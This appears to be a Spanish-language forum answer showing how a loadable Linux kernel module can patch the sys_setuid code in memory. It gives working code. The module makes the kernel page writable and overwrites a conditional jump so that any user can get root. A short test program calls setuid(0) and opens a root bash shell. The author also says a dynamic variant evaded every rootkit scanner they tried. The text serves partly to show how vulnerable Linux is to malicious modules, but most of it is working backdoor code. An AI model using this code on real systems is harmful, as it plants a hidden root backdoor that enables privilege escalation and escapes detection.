Ya hay buenas respuestas de nivel general. Cómo ver este problema en un nivel de código de ejemplo, dejando en claro cuán vulnerable es Linux si el módulo está instalado.
Mi ejemplo módulo:
#include <linux/version.h>
#include <linux/module.h>
#include <linux/highmem.h>
#include <asm/unistd.h>
char *p;
int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map
{ pte_t *pte1;
unsigned int dummy_but_needed;
p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx
pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);
pte1->pte |= _PAGE_RW; //Now the code page is writable
*(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75".
return -1; // Insmod complains and module disappears from the system but module did it's work already
}
MODULE_LICENSE("GPL");//We don't need cleanup_module
Los programas de ensayo que den privilegios de superusuario en el terminal a nivel de usuario:
int main()
{
setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;");
system("/bin/bash"); //rax=system call nr and rdi=first parameter
}
Es este un rootkit peligroso? No. Para encontrar la dirección sys_setuid, ¡ya debe tener privilegios de root! Y prácticamente cada sistema tiene esta dirección diferente.
De todos modos esto muestra lo fácil que es la manipulación. De hecho, es muy fácil reemplazar la constante utilizada por métodos dinámicos (en tiempo de ejecución), que no se presentan aquí. (Esto sería un rootkit.Lo intenté y ningún programa actual de búsqueda de rootkits fue capaz de encontrarlo, incluso si existía, e hizo todas las llamadas al sistema.)
He probado esto con Kernel 3.2 y AMD64. NO FUNCIONARÁ EN OTRO HW!
(cómo encontrar la constante necesaria:
xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic
[sudo] password for xxxx:
ffffffff8107f3a0 T sys_setuid
ffffffff810a23f0 T sys_setuid16
)
Estás suponiendo que sólo el administrador (física y legal) de la máquina tiene privilegios de root, que es muy a menudo no es el caso. :) Los LKM pueden hacer cosas de las que la raíz no sabe absolutamente nada. –